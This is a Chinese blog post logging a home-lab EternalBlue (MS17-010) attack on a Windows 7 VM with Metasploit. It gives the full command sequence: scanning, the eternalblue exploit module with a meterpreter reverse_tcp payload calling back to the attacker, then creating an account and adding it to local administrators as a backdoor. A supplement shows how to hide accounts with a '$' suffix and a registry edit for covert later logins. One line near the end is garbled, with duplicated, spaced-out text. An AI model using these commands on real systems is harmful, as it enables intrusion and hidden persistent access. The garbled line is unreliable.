学习Metasploit的时候就听说了经典的永恒之蓝漏洞,所以自己试验了一次,借此作个记录。
1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.SMB工作原理是什么?
(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
kali2、win7sp1靶机
关闭win7的防火墙,然后将kali和win7的网络模式都换为桥接模式。
1.打开kali2、win7靶机,先查看一下kali的ip地址(ifconfig)
数据库配置:
1)查看本机数据库是否开启
命令:service postgresql status
2)打开本机数据库
命令:service postgresql start
service postgresql status
3)进行msfdb初始化,配置数据库连接密码等信息。
命令:msfdb init
接下来打开zenmap(nmap的可视化界面),强烈推荐使用,方便简单。 因为将kali和win7都调为桥接模式,所以扫描192.168.31.193/24 整个网段即可找到win7的ip地址和其的一些基本信息。
搜索ms17_010(永恒之蓝漏洞利用) :
使用 auxiliary/scanner/smb/smb_ms17_010 这个模块进行ms17_010漏洞扫描
使用options 查看需要设置的信息 :
1、设置扫描的主机或网段
(因为上面我们使用zenmap找到了我们需要攻击的win7虚拟机的ip地址,所以直接对这个ip进行漏洞扫描)
命令:set rhosts 192.168.31.252
2、设置扫描线程
命令:set threads 30
利用MS17-010漏洞进行攻击
1、使用攻击模块
use exploit/windows/smb/ms17_010_eternalblue (上面search ms17_010漏洞时找到的攻击模块)
2、设置目标主机
3、设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
4、设定监听主机
set lhost 192.168.31.193(kali)
5、执行exploit命令进行攻击
可以看到监听IP及端口,攻击机与靶机之间成功建立会话
当出现meterpreter时即可说明已经成功攻击进入靶机
后渗透攻击 :
1、远程显示主机系统信息 :
2、查看用户身份 :
3、对远程主机当前屏幕进行截图:
保存在 /root目录下 然后进入主目录中查看即可看到靶机的界面截屏
4、获得shell控制并新建一个用户:
4.1 使用 net user a 123 /add 创建一个用户名为a,密码为123 的用户
4.2使用 net user 查看用户
可见我们的a用户创建完成
4.3将此用户加入本地管理员组(后门植入,获取更大的权限)。
net localgroup administrators a /add
可以看出确实将用户abc加入到了本地管理员组中去了:
利用永恒之蓝漏洞攻击只能针对win7及以下低版本未打ms17_010补丁的电脑,借此实现该漏洞帮助自己熟悉Metasploit的使用和部分命令的使用。
命令的一些总结 :
新建用户: net user 用户名 密码/add (删除用户:net user 用户名/del)
net user abc abc /add (新建用户abc,密码abc)
查看用户 : net user
此时在net user中可以查看到新建的用户
net localgroup administrators //查看windows 7本地管理员
补充(自行实验) :
新建用户使使用net user无法查看
net user 用户名$ 密码 /add(在用户名后添加一个 符 号 就 O K ) n e t u s e r z h a n g s a n 符号就OK) net user zhangsan 符号就OK)netuserzhangsan 123 /add (创建zhangsan用户使其无法使用 net user来查看此用户)
看不到新创建的zhangsan用户。这个对进行后渗透测试时十分重要。可以通过创建一个隐秘的账号来以便下次进行登录。但是会在注册表和登录界面显示,可以使用命令将登录界面的用户名隐藏(下面会说到),但是不能隐藏注册表中的信息。
WINDOWS
隐藏用户administrator
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windowsNT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v 要隐藏的用户名 /T REG_DWORD /D 0
重启后便看不到隐藏的用户名 。
最后,安全之路:路途漫长,以后莫失莫忘。愿你不骄不躁,安稳顺心。
部分引用 :https://blog.csdn.net/qq_41976183/article/details/97961664